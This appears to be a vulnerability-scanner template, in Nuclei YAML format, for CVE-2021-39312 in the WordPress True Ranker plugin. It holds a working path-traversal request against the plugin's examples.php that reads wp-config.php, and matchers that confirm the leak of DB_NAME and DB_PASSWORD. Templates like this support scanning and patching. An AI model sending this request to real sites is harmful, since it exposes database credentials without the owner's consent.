53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2021-39312
|
|
|
|
info:
|
|
name: WordPress True Ranker <2.2.4 - Local File Inclusion
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
|
|
remediation: Fixed in version 2.2.4
|
|
reference:
|
|
- https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
|
|
- https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-39312
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-39312
|
|
cwe-id: CWE-22
|
|
epss-score: 0.06634
|
|
epss-percentile: 0.92987
|
|
cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: trueranker
|
|
product: true_ranker
|
|
framework: wordpress
|
|
tags: unauth,lfr,wpscan,cve,cve2021,wp-plugin,lfi,wp,wordpress
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "DB_NAME"
|
|
- "DB_PASSWORD"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100f4b95730029784609c4c899f2ca7337bd9dee2bb5582a21886fa0ffab577c2e102204f9e1bdd8c50a7ef08a462251896b1ce3d2328384ca70e26ea2c3f30475170d6:922c64590222798bb761d5b6d8e72950
|